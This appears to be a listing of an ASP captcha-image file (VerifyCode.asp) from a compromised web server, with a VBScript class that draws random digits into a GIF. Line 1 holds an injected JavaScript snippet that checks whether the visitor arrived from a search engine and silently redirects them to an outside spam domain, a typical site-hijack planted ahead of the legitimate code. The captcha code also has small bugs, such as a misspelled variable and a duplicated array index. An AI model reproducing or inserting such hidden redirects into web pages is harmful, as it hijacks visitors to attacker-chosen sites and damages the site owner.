d:\wwwroot\wuchunhua\sendmail\inc\VerifyCode.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><%
002: Option Explicit
003: 'Session.CodePage = 65001
004: 'Response.Charset = "UTF-8"
005: Response.Expires = -1
006: Response.AddHeader "Pragma", "no-cache"
007: Response.AddHeader "cache-ctrol", "no-cache"
008:
009:
010: Dim VC, Code
011: Randomize
012: Set VC = New NetRube_VerifyCode
013: With VC
014:   Code = Int(Rnd * 9000 + 1000)
015:   Session("CheckCode") = ""&Code
016:   .BGroundColor = "#F6FBFF" ' 图片背景颜色
017:   .FGroundColor = "#666666" ' 前景(文本)颜色
018:   .VerifyCode Code, false      'False  ' 处理验证码,第二个参数为是否显示彩色文本
019:   .Noises 350, true      '添加杂点,第一个参数为杂点数量,第二个参数为是否显示彩色杂点
020:   .Write      ' 输出图片
021: End With
022: Set VC = Nothing
023:
024:
025: Class NetRube_VerifyCode
026: Public GlobalColorTable(), LocalColorTable()
027: Public TransparentColorIndex, UseTransparency
028: Public GIF89a
029: Public Comment
030:
031: Private FGroundColorIndex, BGroundColorIndex
032: Private Image
033: Private GlobalColorTableSize, GlobalColorTableFlag, LocalColorTableSize, LocalColorTableFlag
034: Private Width_, Height_
035: Private LeftPosition, TopPosition
036: Private Bits, ColorResolution, CodeSize
037: Private PixelAspectRatio
038: Private SortFlag, InterlaceFlag
039: Private Seperator, GraphicControl, EndOfImage
040: Private Reserved
041:
042: Private Font
043: Private Letter(19)
044:
045: Private Sub Class_Initialize()
046:   Image = ""
047:     
048:   GIF89a = False
049:   
050:   ReDim GlobalColorTable(256)
051:   GlobalColorTableSize = 7
052:   GlobalColorTableFlag = True
053:   
054:   GlobalColorTable(2) = RGB(255, 0, 0)
055:   GlobalColorTable(3) = RGB(0, 255, 0)
056:   GlobalColorTable(4) = RGB(0, 0, 255)
057:   GlobalColorTable(5) = RGB(255, 255, 0)
058:   GlobalColorTable(6) = RGB(0, 255, 255)
059:   GlobalColorTable(7) = RGB(255, 0, 255)
060:   
061:   ReDim LocalColorTable(0)
062:   LocalColorTableSize = 0
063:   LocalColorTableFlag = False
064:   
065:   ColorResolution = 7
066:   Bits   = 7
067:   CodeSize  = 7
068:   
069:   BGroundColorIndex = 0
070:   FGroundColorIndex = 1
071:   TransparentColorIndex = 0
072:   UseTransparency  = False
073:   
074:   LeftPosition = 0
075:   TopPosition  = 0
076:   Width_   = 20
077:   Height_   = 20
078:   
079:   Clear
080:   
081:   PixelAspectRatio = 0
082:   SortFlag   = False
083:   InterlaceFlag  = False
084:   Seperator   = Asc(",")
085:   GraphicControl  = Asc("!")
086:   EndOfImage   = Asc(";")
087:   
088:   Comment = ""
089:   
090:   Reserved = 0
091:   
092:   Set Font = Server.CreateObject("Scripting.Dictionary")
093:
094:   Letter(0) = "00000000000000"
095:   Letter(1) = "00001111100000"
096:   Letter(2) = "00011111110000"
097:   Letter(3) = "00111000111000"
098:   Letter(4) = "00110000011100"
099:   Letter(5) = "01110000001100"
100:   Letter(6) = "01100000001110"
101:   Letter(7) = "01100000001110"
102:   Letter(8) = "11100000001110"
103:   Letter(9) = "11000000001110"
104:   Letter(10) = "11000000001110"
105:   Letter(11) = "11100000001110"
106:   Letter(12) = "11100000001100"
107:   Letter(13) = "11100000001100"
108:   Letter(14) = "01100000001100"
109:   Letter(15) = "01110000011100"
110:   Letter(15) = "00111000011000"
111:   Letter(16) = "00011111110000"
112:   Letter(17) = "00001111100000"
113:   Letter(18) = "00000000000000"
114:   Font.Add "0", Letter
115:   
116:   Letter(0) = "00000000000000"
117:   Letter(1) = "00000001110000"
118:   Letter(2) = "00000001110000"
119:   Letter(3) = "00000011100000"
120:   Letter(4) = "00000011000000"
121:   Letter(5) = "00000011000000"
122:   Letter(6) = "00000011000000"
123:   Letter(7) = "00000111000000"
124:   Letter(8) = "00000111000000"
125:   Letter(9) = "00000111000000"
126:   Letter(10) = "00000110000000"
127:   Letter(11) = "00000110000000"
128:   Letter(12) = "00000110000000"
129:   Letter(13) = "00000110000000"
130:   Letter(14) = "00000110000000"
131:   Letter(15) = "00000110000000"
132:   Letter(15) = "00000110000000"
133:   Letter(16) = "00000110000000"
134:   Letter(17) = "00000010000000"
135:   Letter(18) = "00000000000000"
136:   Font.Add "1", Letter
137:   
138:   Letter(0) = "00000000000000"
139:   Letter(1) = "00001111110000"
140:   Letter(2) = "00011111111000"
141:   Letter(3) = "00111000011100"
142:   Letter(4) = "01110000011100"
143:   Letter(5) = "01110000011000"
144:   Letter(6) = "01100000011000"
145:   Letter(7) = "00000000111000"
146:   Letter(8) = "00000001110000"
147:   Letter(9) = "00000001110000"
148:   Letter(10) = "00000011000000"
149:   Letter(11) = "00000111000000"
150:   Letter(12) = "00001110000000"
151:   Letter(13) = "00011000000000"
152:   Letter(14) = "00011000000000"
153:   Letter(15) = "00110000011100"
154:   Letter(16) = "01101111111100"
155:   Letter(17) = "01111111111110"
156:   Letter(18) = "01111100000000"
157:   Letter(19) = "00000000000000"
158:   Font.Add "2", Letter
159:   
160:   Letter(0) = "00000000000000"
161:   Letter(1) = "00001111111000"
162:   Letter(2) = "00111111111000"
163:   Letter(3) = "01110000111100"
164:   Letter(4) = "01100000011000"
165:   Letter(5) = "01000000111000"
166:   Letter(6) = "00000000111000"
167:   Letter(7) = "00000001110000"
168:   Letter(8) = "00000011000000"
169:   Letter(9) = "00000111110000"
170:   Letter(10) = "00000100111000"
171:   Letter(11) = "00000000011100"
172:   Letter(12) = "00000000011100"
173:   Letter(13) = "00000000011100"
174:   Letter(14) = "00000000011100"
175:   Letter(15) = "00000000011000"
176:   Letter(16) = "11100000111000"
177:   Letter(17) = "11111111110000"
178:   Letter(18) = "01111111100000"
179:   Letter(19) = "00000000000000"
180:   Font.Add "3", Letter
181:   
182:   Letter(0) = "00000000000000"
183:   Letter(1) = "00000000111000"
184:   Letter(2) = "00000001111000"
185:   Letter(3) = "00000011100000"
186:   Letter(4) = "00000111011100"
187:   Letter(5) = "00001110011100"
188:   Letter(6) = "00001100011000"
189:   Letter(7) = "00011000111000"
190:   Letter(8) = "00111000110000"
191:   Letter(9) = "01110000110000"
192:   Letter(10) = "01100000110000"
193:   Letter(11) = "01100000110000"
194:   Letter(12) = "11000111111110"
195:   Letter(13) = "11111111111100"
196:   Letter(14) = "11111111100000"
197:   Letter(15) = "11100001100000"
198:   Letter(16) = "00000001110000"
199:   Letter(17) = "00000000110000"
200:   Letter(18) = "00000000110000"
201:   Letter(19) = "00000000100000"
202:   Font.Add "4", Letter
203:   
204:   Letter(0) = "00000000000000"
205:   Letter(1) = "00001100000100"
206:   Letter(2) = "00011111111110"
207:   Letter(3) = "00011111111100"
208:   Letter(4) = "00011110000000"
209:   Letter(5) = "00011000000000"
210:   Letter(6) = "00111000000000"
211:   Letter(7) = "00111000000000"
212:   Letter(8) = "00111111110000"
213:   Letter(9) = "00111111111000"
214:   Letter(10) = "00000000011000"
215:   Letter(11) = "00000000011000"
216:   Letter(12) = "00000000011000"
217:   Letter(13) = "00000000011000"
218:   Letter(14) = "00000000011000"
219:   Letter(15) = "00000000011000"
220:   Letter(16) = "00000001111000"
221:   Letter(17) = "01111111110000"
222:   Letter(18) = "00111111000000"
223:   Letter(19) = "00000000100000"
224:   Font.Add "5", Letter
225:   
226:   Letter(0) = "00000000000000"
227:   Letter(1) = "00000011110000"
228:   Letter(2) = "00000111100000"
229:   Letter(3) = "00001110000000"
230:   Letter(4) = "00011100000000"
231:   Letter(5) = "00111000000000"
232:   Letter(6) = "00110000000000"
233:   Letter(7) = "00110000000000"
234:   Letter(8) = "01111111110000"
235:   Letter(9) = "01111111111000"
236:   Letter(10) = "01110000011100"
237:   Letter(11) = "01100000001100"
238:   Letter(12) = "01100000001100"
239:   Letter(13) = "01100000001100"
240:   Letter(14) = "01100000001100"
241:   Letter(15) = "01110000011100"
242:   Letter(16) = "00110000011100"
243:   Letter(17) = "00111111111000"
244:   Letter(18) = "00011111110000"
245:   Letter(19) = "00000000000000"
246:   Font.Add "6", Letter
247:   
248:   Letter(0) = "00000000000000"
249:   Letter(1) = "00100111111110"
250:   Letter(2) = "01111111111100"
251:   Letter(3) = "01111110011100"
252:   Letter(4) = "00000000011000"
253:   Letter(5) = "00000000111000"
254:   Letter(6) = "00000000110000"
255:   Letter(7) = "00000000110000"
256:   Letter(8) = "00000000110000"
257:   Letter(9) = "00000001110000"
258:   Letter(10) = "00000001100000"
259:   Letter(11) = "00000001100000"
260:   Letter(12) = "00000001100000"
261:   Letter(13) = "00000001100000"
262:   Letter(14) = "00000011100000"
263:   Letter(15) = "00000011100000"
264:   Letter(16) = "00000011100000"
265:   Letter(17) = "00000001000000"
266:   Letter(18) = "00000001000000"
267:   Letter(19) = "00000000000000"
268:   Font.Add "7", Letter
269:   
270:   Letter(0) = "00000000000000"
271:   Letter(1) = "00001111110000"
272:   Letter(2) = "00011111111000"
273:   Letter(3) = "00111000011000"
274:   Letter(4) = "00110000011000"
275:   Letter(5) = "01110000011100"
276:   Letter(6) = "01110000011000"
277:   Letter(7) = "00110000011000"
278:   Letter(8) = "00111101111000"
279:   Letter(9) = "00011111111000"
280:   Letter(10) = "00111000111100"
281:   Letter(11) = "01110000001100"
282:   Letter(12) = "01110000001100"
283:   Letter(13) = "01100000001110"
284:   Letter(14) = "01100000001100"
285:   Letter(15) = "01100000001100"
286:   Letter(16) = "01110000011100"
287:   Letter(17) = "00111111111100"
288:   Letter(18) = "00011111110000"
289:   Letter(19) = "00000000000000"
290:   Font.Add "8", Letter
291:   
292:   Letter(0) = "00000000000000"
293:   Letter(1) = "00011111110000"
294:   Letter(2) = "00111111111000"
295:   Letter(3) = "01110000111000"
296:   Letter(4) = "01110000011100"
297:   Letter(5) = "01100000001100"
298:   Letter(6) = "01100000001100"
299:   Letter(7) = "01100000001100"
300:   Letter(8) = "01100000001100"
301:   Letter(9) = "01110000011100"
302:   Letter(10) = "00111111111100"
303:   Letter(11) = "00011111111100"
304:   Letter(12) = "00000000011000"
305:   Letter(13) = "00000000011000"
306:   Letter(14) = "00000000111000"
307:   Letter(15) = "00000001110000"
308:   Letter(16) = "00000011100000"
309:   Letter(17) = "00000111000000"
310:   Letter(18) = "00011110000000"
311:   Letter(19) = "00000000000000"
312:   Font.Add "9", Letter
313: End Sub
314:
315: Private Sub Class_Terminate()
316:   Font.RemoveAll
317:   Set Font = Nothing
318: End Sub
319:
320: Public Property Get Width()
321:   Width = Width_
322: End Property
323:
324: Public Property Get Height()
325:   Height = Height_
326: End Property
327:
328: Public Property Get Version()
329:   Version = "NetRube VerifyCode Class 1.0 Build 20041225"
330: End Property
331:
332: Public Property Let BGroundColor(ByVal Color)
333:   GlobalColorTable(0) = MakeColor(Color)
334:   BGroundColorIndex = 0
335: End Property
336:
337: Public Property Let FGroundColor(ByVal Color)
338:   GlobalColorTable(1) = MakeColor(Color)
339:   FGroundColorIndex = 1
340: End Property
341:
342: Public Property Get Pixel(ByVal PX, ByVal PY)
343:   If (PX > 0 And PX <= Width_) And (PY > 0 And PY <= Height_) Then
344:    Pixel = AscB(MidB(Image, (Width_ * (PY - 1)) + PX, 1))
345:   Else
346:    Pixel = 0
347:   End If
348: End Property
349:
350: Public Property Let Pixel(ByVal PX, ByVal PY, PValue)
351:   Dim Offset
352:   
353:   PX  = Int(PX)
354:   PY  = Int(PY)
355:   PValue = Int(PValue)
356:   
357:   Offset = Width_ * (PY - 1)
358:   
359:   If (PX > 0 And PX <= Width_) And (PY > 0 And PY <= Height_) Then
360:    Image = LeftB(Image, Offset + (PX - 1)) & ChrB(PValue) & RightB(Image, LenB(Image) - (Offset + PX))
361:   End If
362: End Property
363:
364: Public Sub Clear()
365:   Image = String(Width_ * (Height_ + 1) / 2, ChrB(BGroundColorIndex) & ChrB(BGroundColorIndex))
366: End Sub
367:
368: Public Sub Resize(ByVal NewWidth, ByVal NewHeight, RPreserve)
369:   Dim OldImage, OldWidth, OldHeight
370:   Dim CopyWidth, CopyHeight
371:   Dim X, Y
372:   
373:   If RPreserve Then
374:    OldImage = Image
375:    OldWidth = Width_
376:    OldHeight = Height_
377:   End If
378:   
379:   Width_ = NewWidth
380:   Height_ = NewHeight
381:   
382:   Clear
383:   
384:   If RPreserve Then
385:    If NewWidth > OldWidth Then CopyWidth = OldWidth Else CopyWidth = NewWidth
386:    If NewHeight > OldHeight Then CopyHeight = OldHeight Else CopyHeight = NewHeight
387:   
388:    Width_ = NewWidth
389:    Height_ = NewHeight
390:   
391:    For Y = 1 To CopyHeight
392:     For X = 1 To CopyWidth
393:      Pixel(X, Y) = AscB(MidB(OldImage, (OldWidth * (Y - 1)) + X, 1))
394:     Next
395:    Next
396:   End If
397: End Sub
398:
399: Private Function ShiftLeft(SLValue, SLBits)
400:   ShiftLeft = SLValue * (2 ^ SLBits)
401: End Function
402:
403: Private Function ShiftRight(SRValue, SRBits)
404:   ShiftRight = Int(SRValue / (2 ^ SRBits))
405: End Function
406:
407: Private Function Low(LValue)
408:   Low = LValue And &HFF
409: End Function
410:
411: Private Function High(HValue)
412:   High = ShiftRight(HValue, 8)
413: End Function
414:
415: Private Function Blue(BValue)
416:   Blue = Low(ShiftRight(BValue, 16))
417: End Function
418:
419: Private Function Green(GValue)
420:   Green = Low(ShiftRight(GValue, 8))
421: End Function
422:
423: Private Function Red(RValue)
424:   Red = Low(RValue)
425: End Function
426:
427: Private Function MakeColor(MCValue)
428:   MakeColor = CLng("&H" & Right(MCValue, 2) & Mid(MCValue, 4, 2) & Mid(MCValue, 2, 2))
429: End Function
430:
431: Private Function GetWord(GWValue)
432:   GetWord = ShiftLeft(AscB(RightB(GWValue, 1)), 8) Or AscB(LeftB(GWValue, 1))
433: End Function
434:
435: Private Function MakeWord(MWValue)
436:   MakeWord = ChrB(Low(MWValue)) & ChrB(High(MWValue))
437: End Function
438:
439: Private Function MakeByte(MBValue)
440:   MakeByte = ChrB(Low(MBValue))
441: End Function
442:
443: Private Function UncompressedData()
444:   Dim ClearCode, ChunkMax, EndOfStream
445:   Dim UDData, UD, U
446:   
447:   UncompressedData = ""
448:   
449:   ClearCode   = 2 ^ Bits
450:   ChunkMax   = 2 ^ Bits - 2
451:   EndOfStream   = ClearCode + 1
452:   
453:   UDData    = ""
454:   
455:   For U = 1 To LenB(Image) Step ChunkMax
456:    UDData = UDData & MidB(Image, U, ChunkMax) & ChrB(ClearCode)
457:   Next
458:   
459:   For U = 1 To LenB(UDData) Step &HFF
460:    UD     = MidB(UDData, U, &HFF)
461:    UncompressedData = UncompressedData & MakeByte(LenB(UD)) & UD
462:   Next
463:   
464:   UncompressedData = UncompressedData & MakeByte(&H00)
465:   UncompressedData = UncompressedData & MakeByte(EndOfStream)
466: End Function
467:
468: Private Function GetGColorTable()
469:   Dim GGCT
470:   
471:   GetGColorTable = ""
472:   
473:   For GGCT = 0 To UBound(GlobalColorTable) - 1
474:    GetGColorTable = GetGColorTable & MakeByte(Red(GlobalColorTable(GGCT)))
475:    GetGColorTable = GetGColorTable & MakeByte(Green(GlobalColorTable(GGCT)))
476:    GetGColorTable = GetGColorTable & MakeByte(Blue(GlobalColorTable(GGCT)))
477:   Next
478: End Function
479:
480: Private Function GetLColorTable()
481:   Dim GLCT
482:   
483:   GetLColorTable = ""
484:   
485:   For GLCT = 0 To UBound(LocalColorTable) - 1
486:    GetLColorTable = GetLColorTable & MakeByte(Red(LocalColorTable(GLCT)))
487:    GetLColorTable = GetLColorTable & MakeByte(Green(LocalColorTable(GLCT)))
488:    GetLColorTable = GetLColorTable & MakeByte(Blue(LocalColorTable(GLCT)))
489:   Next
490: End Function
491:
492: Private Function GlobalDescriptor()
493:   GlobalDescriptor = 0
494:   
495:   If GlobalColorTableFlag Then GlobalDescriptor = GlobalDescriptor Or ShiftLeft(1, 7)
496:   GlobalDescriptor = GlobalDescriptor Or ShiftLeft(ColorResolution, 7)
497:   If SortFlag Then GlobalDescriptor = GlobalDescriptor Or ShiftLeft(1, 3)
498:   GlobalDescriptor = GlobalDescriptor Or GlobalColorTableSize
499: End Function
500:
501: Private Function LocalDescriptor()
502:   LocalDescriptor = 0
503:   
504:   If LocalColorTableFlag Then LocalDescriptor = LocalDescriptor Or ShiftLeft(1, 7)
505:   If InterlaceFlag Then LocalDescriptor = LocalDescriptor Or ShiftLeft(1, 6)
506:   If SortFlag Then LocalDescriptor = LocallDescriptor Or ShiftLeft(1, 5)
507:   LocalDescriptor = LocalDescriptor Or ShiftLeft(Reserved, 3)
508:   LocalDescriptor = LocalDescriptor Or LocalColorTableSize
509: End Function
510:
511: Private Property Get ImageData()
512:   Dim Text, I
513:   
514:   ImageData = GIFHeader
515:   ImageData = ImageData & MakeWord(Width_)
516:   ImageData = ImageData & MakeWord(Height_)
517:   ImageData = ImageData & MakeByte(GlobalDescriptor)
518:   ImageData = ImageData & MakeByte(BGroundColorIndex)
519:   ImageData = ImageData & MakeByte(PixelAspectRatio)
520:   ImageData = ImageData & GetGColorTable
521:   
522:   If GIF89a Then
523:    If UseTransparency Then
524:     ImageData = ImageData & MakeByte(GraphicControl)
525:     ImageData = ImageData & MakeByte(&HF9)
526:     ImageData = ImageData & MakeByte(&H04)
527:     ImageData = ImageData & MakeByte(&H01)
528:     ImageData = ImageData & MakeByte(&H00)
529:     ImageData = ImageData & MakeByte(TransparentColorIndex)
530:     ImageData = ImageData & MakeByte(&H00)
531:    End If
532:   
533:    If Comment <> "" Then
534:     ImageData = ImageData & MakeByte(GraphicControl)
535:     ImageData = ImageData & MakeByte(&HFE)
536:     Text = Left(Comment, &HFF)
537:     ImageData = ImageData & MakeByte(Len(Text))
538:     For I = 1 To Len(Text)
539:      ImageData = ImageData & MakeByte(Asc(Mid(Text, I, 1)))
540:     Next
541:     ImageData = ImageData & MakeByte(&H00)
542:    End If
543:   End If
544:   
545:   ImageData = ImageData & MakeByte(Seperator)
546:   ImageData = ImageData & MakeWord(LeftPosition)
547:   ImageData = ImageData & MakeWord(TopPosition)
548:   ImageData = ImageData & MakeWord(Width_)
549:   ImageData = ImageData & MakeWord(Height_)
550:   ImageData = ImageData & MakeByte(LocalDescriptor)
551:   ImageData = ImageData & MakeByte(CodeSize)
552:   ImageData = ImageData & UncompressedData
553:   ImageData = ImageData & MakeByte(&H00)
554:   ImageData = ImageData & MakeByte(EndOfImage)
555: End Property
556:
557: Public Sub Write()
558:   Response.ContentType = "image/gif"
559:   Response.BinaryWrite ImageData
560: End Sub
561:
562: Private Function GIFHeader()
563:   GIFHeader = ""
564:   GIFHeader = GIFHeader & ChrB(Asc("G"))
565:   GIFHeader = GIFHeader & ChrB(Asc("I"))
566:   GIFHeader = GIFHeader & ChrB(Asc("F"))
567:   GIFHeader = GIFHeader & ChrB(Asc("8"))
568:   If GIF89a Then GIFHeader = GIFHeader & ChrB(Asc("9")) Else GIFHeader = GIFHeader & ChrB(Asc("7")) End If
569:   GIFHeader = GIFHeader & ChrB(Asc("a"))
570: End Function
571:
572: Public Sub VerifyCode(Text, VCColor)
573:   Dim I1, I2, I3
574:   Dim VCX, VCY, VCIndex
575:   
576:   Resize 14 * Len(Text) + 10, UBound(Letter) + 10, False
577:   
578:   Randomize
579:   VCX = Int(Rnd * 10)
580:   VCY = Int(Rnd * (Height_ - UBound(Letter)))
581:   
582:   For I1 = 0 To UBound(Letter) - 1
583:    For I2 = 1 To Len(Text)
584:     For I3 = 1 To Len(Font(Mid(Text, I2, 1))(I1))
585:      VCIndex = CLng(Mid(Font(Mid(Text, I2, 1))(I1), I3, 1))
586:     
587:      If VCIndex <> 0 Then
588:       If VCColor Then
589:        Randomize
590:        VCIndex = Int(Rnd * 7)
591:       End If
592:       
593:       Pixel(VCX + ((I2 - 1) * Len(Letter(0))) + I3, VCY + I1) = VCIndex
594:      End If
595:     Next
596:    Next
597:   Next
598: End Sub
599:
600: Public Sub Noises(Amount, NColor)
601:   Dim NI, NIndex
602:     
603:   For NI = 1 To Amount
604:    NIndex = 1
605:   
606:    If NColor Then
607:     Randomize
608:     NIndex = Int(Rnd * 7)
609:    End If
610:   
611:    Pixel(Int(Rnd * Width_), Int(Rnd * Height_)) = NIndex
612:   Next
613: End Sub
614: End Class
615: %
>
616:
617:
618: